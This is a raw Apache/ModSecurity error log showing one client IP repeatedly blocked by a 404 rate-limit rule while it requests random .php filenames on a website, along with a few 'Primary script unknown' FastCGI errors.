[Sat Apr 18 23:16:53.079821 2026] [:error] [pid 32677:tid 32688] [client 20.203.141.81:64242] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "aeOgZRngmUE3LdC-wP71FgAAAkg"]
[Sat Apr 18 23:16:53.639826 2026] [:error] [pid 32647:tid 32655] [client 20.203.141.81:57002] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "aeOgZUkxooM0iRo6e5409AAAAgU"]
[Sat Apr 18 23:16:54.280752 2026] [:error] [pid 32647:tid 32656] [client 20.203.141.81:32255] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "aeOgZkkxooM0iRo6e540-QAAAgY"]
[Sat Apr 18 23:16:54.885943 2026] [:error] [pid 9864:tid 9906] [client 20.203.141.81:58511] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "aeOgZoCFeowknfXHM7k2mwAAAEE"]
[Sat Apr 18 23:16:55.633929 2026] [:error] [pid 9864:tid 9930] [client 20.203.141.81:54799] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "aeOgZ4CFeowknfXHM7k2nAAAAFg"]
[Sat Apr 18 23:16:56.204843 2026] [:error] [pid 13023:tid 13038] [client 20.203.141.81:32212] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "aeOgaP1e7hG8DAeABB9KnQAAAQ0"]
[Sat Apr 18 23:16:56.802488 2026] [:error] [pid 32677:tid 32698] [client 20.203.141.81:39923] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "aeOgaBngmUE3LdC-wP71GgAAAlI"]
[Sat Apr 18 23:16:57.421444 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:32798] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "aeOgaf1e7hG8DAeABB9KoAAAARA"]
[Sat Apr 18 23:16:58.055813 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:32248] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abhjr.php"] [unique_id "aeOgav1e7hG8DAeABB9KoQAAAQE"]
[Sat Apr 18 23:16:58.823905 2026] [:error] [pid 9865:tid 9952] [client 20.203.141.81:32225] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abhjr.php"] [unique_id "aeOgaqzb5knECIY-C-iqlwAAAI8"]
[Sat Apr 18 23:16:59.585679 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:58540] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abhjr.php"] [unique_id "aeOgaxUlAXU_ZWUu5y8XvQAAApE"]
[Sat Apr 18 23:17:00.550352 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:41198] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abhjr.php"] [unique_id "aeOgbBngmUE3LdC-wP71HgAAAkQ"]
[Sat Apr 18 23:17:01.505415 2026] [:error] [pid 32678:tid 32723] [client 20.203.141.81:61820] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/anczg.php"] [unique_id "aeOgbRUlAXU_ZWUu5y8XwQAAApA"]
[Sat Apr 18 23:17:02.404383 2026] [:error] [pid 32678:tid 32713] [client 20.203.141.81:7928] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/anczg.php"] [unique_id "aeOgbhUlAXU_ZWUu5y8XyAAAAoY"]
[Sat Apr 18 23:17:03.050928 2026] [:error] [pid 13023:tid 13025] [client 20.203.141.81:41160] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/anczg.php"] [unique_id "aeOgb_1e7hG8DAeABB9KpQAAAQA"]
[Sat Apr 18 23:17:03.740146 2026] [:error] [pid 9863:tid 9883] [client 20.203.141.81:32236] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/anczg.php"] [unique_id "aeOgbzjjiypiFrTucbLbvwAAAAo"]
[Sat Apr 18 23:17:04.494597 2026] [:error] [pid 13023:tid 13048] [client 20.203.141.81:31026] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ardsw.php"] [unique_id "aeOgcP1e7hG8DAeABB9KrAAAARc"]
[Sat Apr 18 23:17:05.373436 2026] [:error] [pid 13023:tid 13039] [client 20.203.141.81:63735] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ardsw.php"] [unique_id "aeOgcf1e7hG8DAeABB9KswAAAQ4"]
[Sat Apr 18 23:17:06.306943 2026] [:error] [pid 9864:tid 9908] [client 20.203.141.81:56984] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ardsw.php"] [unique_id "aeOgcoCFeowknfXHM7k2pwAAAEM"]
[Sat Apr 18 23:17:07.758515 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:61812] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ardsw.php"] [unique_id "aeOgcyYdRLRhVmaIMx3s2QAAAMc"]
[Sat Apr 18 23:17:08.502693 2026] [:error] [pid 34288:tid 34297] [client 20.203.141.81:32812] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atfis.php"] [unique_id "aeOgdOTIiy__PtiLmpngEwAAAYU"]
[Sat Apr 18 23:17:09.071349 2026] [:error] [pid 32677:tid 32697] [client 20.203.141.81:61796] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atfis.php"] [unique_id "aeOgdRngmUE3LdC-wP71IAAAAlE"]
[Sat Apr 18 23:17:09.852643 2026] [:error] [pid 32647:tid 32654] [client 20.203.141.81:37901] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atfis.php"] [unique_id "aeOgdUkxooM0iRo6e541AQAAAgQ"]
[Sat Apr 18 23:17:10.451533 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:51722] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atfis.php"] [unique_id "aeOgdiYdRLRhVmaIMx3s3QAAANI"]
[Sat Apr 18 23:17:10.988086 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:63711] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/azpaq.php"] [unique_id "aeOgdiYdRLRhVmaIMx3s4gAAAMs"]
[Sat Apr 18 23:17:11.568400 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:63721] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/azpaq.php"] [unique_id "aeOgdyYdRLRhVmaIMx3s6AAAAMU"]
[Sat Apr 18 23:17:12.188380 2026] [:error] [pid 32677:tid 32683] [client 20.203.141.81:56974] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/azpaq.php"] [unique_id "aeOgeBngmUE3LdC-wP71JQAAAkM"]
[Sat Apr 18 23:17:12.805863 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:64223] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/azpaq.php"] [unique_id "aeOgeP1e7hG8DAeABB9KwQAAARM"]
[Sat Apr 18 23:17:13.432543 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:39900] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bclms.php"] [unique_id "aeOgef1e7hG8DAeABB9KxAAAARQ"]
[Sat Apr 18 23:17:14.443388 2026] [:error] [pid 9970:tid 9990] [client 20.203.141.81:32790] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bclms.php"] [unique_id "aeOgeiYdRLRhVmaIMx3s_QAAANA"]
[Sat Apr 18 23:17:15.039652 2026] [:error] [pid 9865:tid 9944] [client 20.203.141.81:54791] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bclms.php"] [unique_id "aeOge6zb5knECIY-C-iqpgAAAIc"]
[Sat Apr 18 23:17:15.703252 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:32822] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bclms.php"] [unique_id "aeOgeyYdRLRhVmaIMx3tBAAAANM"]
[Sat Apr 18 23:17:16.393389 2026] [:error] [pid 32677:tid 32691] [client 20.203.141.81:37931] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bivvw.php"] [unique_id "aeOgfBngmUE3LdC-wP71JgAAAks"]
[Sat Apr 18 23:17:17.186945 2026] [:error] [pid 13023:tid 13048] [client 20.203.141.81:32797] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bivvw.php"] [unique_id "aeOgff1e7hG8DAeABB9KywAAARc"]
[Sat Apr 18 23:17:18.280392 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:32830] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bivvw.php"] [unique_id "aeOgfiYdRLRhVmaIMx3tCgAAAMU"]
[Sat Apr 18 23:17:19.903081 2026] [:error] [pid 32678:tid 32721] [client 20.203.141.81:32194] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bivvw.php"] [unique_id "aeOgfxUlAXU_ZWUu5y8X1QAAAo4"]
[Sat Apr 18 23:17:21.160845 2026] [:error] [pid 32678:tid 32715] [client 20.203.141.81:56979] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bykdo.php"] [unique_id "aeOggRUlAXU_ZWUu5y8X2gAAAog"]
[Sat Apr 18 23:17:22.287449 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:63741] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bykdo.php"] [unique_id "aeOggiYdRLRhVmaIMx3tDQAAAMs"]
[Sat Apr 18 23:17:23.359874 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:32772] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bykdo.php"] [unique_id "aeOgg_1e7hG8DAeABB9K5AAAARQ"]
[Sat Apr 18 23:17:33.069412 2026] [:error] [pid 9864:tid 9917] [client 20.203.141.81:30981] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bykdo.php"] [unique_id "aeOgjYCFeowknfXHM7k2xQAAAEs"]
[Sat Apr 18 23:17:34.080813 2026] [:error] [pid 32678:tid 32716] [client 20.203.141.81:37951] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byueb.php"] [unique_id "aeOgjhUlAXU_ZWUu5y8X6AAAAok"]
[Sat Apr 18 23:17:36.889848 2026] [:error] [pid 9865:tid 9944] [client 20.203.141.81:57005] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byueb.php"] [unique_id "aeOgkKzb5knECIY-C-iqsAAAAIc"]
[Sat Apr 18 23:17:38.808748 2026] [:error] [pid 9864:tid 9913] [client 20.203.141.81:31007] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byueb.php"] [unique_id "aeOgkoCFeowknfXHM7k2yAAAAEc"]
[Sat Apr 18 23:17:39.476055 2026] [:error] [pid 9864:tid 9917] [client 20.203.141.81:41207] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byueb.php"] [unique_id "aeOgk4CFeowknfXHM7k2zQAAAEs"]
[Sat Apr 18 23:17:40.112733 2026] [proxy_fcgi:error] [pid 32677:tid 32698] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:40.513949 2026] [proxy_fcgi:error] [pid 32677:tid 32690] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:40.870251 2026] [proxy_fcgi:error] [pid 32677:tid 32689] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:41.125254 2026] [proxy_fcgi:error] [pid 32677:tid 32697] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:41.437466 2026] [proxy_fcgi:error] [pid 32677:tid 32699] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:41.721220 2026] [proxy_fcgi:error] [pid 32677:tid 32698] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:41.980204 2026] [proxy_fcgi:error] [pid 32677:tid 32682] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:42.220003 2026] [proxy_fcgi:error] [pid 32677:tid 32700] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:42.541924 2026] [proxy_fcgi:error] [pid 32677:tid 32697] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:43.349185 2026] [proxy_fcgi:error] [pid 32677:tid 32699] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:43.589593 2026] [proxy_fcgi:error] [pid 32677:tid 32683] [client 20.203.141.81:32227] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:17:43.826604 2026] [:error] [pid 32677:tid 32681] [client 20.203.141.81:32227] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dyxbc.php"] [unique_id "aeOglxngmUE3LdC-wP71XAAAAkE"]
[Sat Apr 18 23:17:44.523397 2026] [:error] [pid 32678:tid 32729] [client 20.203.141.81:54841] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dyxbc.php"] [unique_id "aeOgmBUlAXU_ZWUu5y8X_wAAApY"]
[Sat Apr 18 23:17:45.705017 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:58507] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dyxbc.php"] [unique_id "aeOgmf1e7hG8DAeABB9LCQAAARg"]
[Sat Apr 18 23:17:46.679405 2026] [:error] [pid 13023:tid 13046] [client 20.203.141.81:32199] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dyxbc.php"] [unique_id "aeOgmv1e7hG8DAeABB9LDQAAARU"]
[Sat Apr 18 23:17:47.427293 2026] [:error] [pid 9864:tid 9925] [client 20.203.141.81:61771] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eapjf.php"] [unique_id "aeOgm4CFeowknfXHM7k20wAAAFM"]
[Sat Apr 18 23:17:48.120997 2026] [:error] [pid 13023:tid 13028] [client 20.203.141.81:32239] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eapjf.php"] [unique_id "aeOgnP1e7hG8DAeABB9LHAAAAQM"]
[Sat Apr 18 23:17:48.912989 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:63709] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eapjf.php"] [unique_id "aeOgnKzb5knECIY-C-iqtAAAAI0"]
[Sat Apr 18 23:17:49.665772 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:61805] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eapjf.php"] [unique_id "aeOgnSYdRLRhVmaIMx3tOQAAAMk"]
[Sat Apr 18 23:17:50.620817 2026] [:error] [pid 9863:tid 9893] [client 20.203.141.81:7920] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebuom.php"] [unique_id "aeOgnjjjiypiFrTucbLb0AAAABQ"]
